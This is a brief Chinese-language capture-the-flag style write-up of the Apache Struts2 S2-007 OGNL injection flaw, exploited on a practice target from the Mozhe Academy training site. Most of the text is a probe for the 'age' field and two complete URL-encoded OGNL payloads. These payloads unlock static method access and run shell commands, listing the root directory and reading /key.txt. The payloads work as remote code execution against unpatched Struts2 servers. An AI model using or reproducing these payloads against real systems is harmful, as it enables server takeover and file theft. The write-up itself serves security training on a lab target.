漏洞简介
s2-007:当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了OGNL语句的执行;
漏洞复现
靶机用的是墨者学院
抓包,在age值处输入poc;
%27%2B(%23application)%2B%27
判断出在age输入框存在s2-007漏洞;
输入信息进行抓包,构造poc
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
继续构造
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20%2Fkey.txt%20/%27%29.getInputStream%28%29%29%29+%2B+%27
拿到key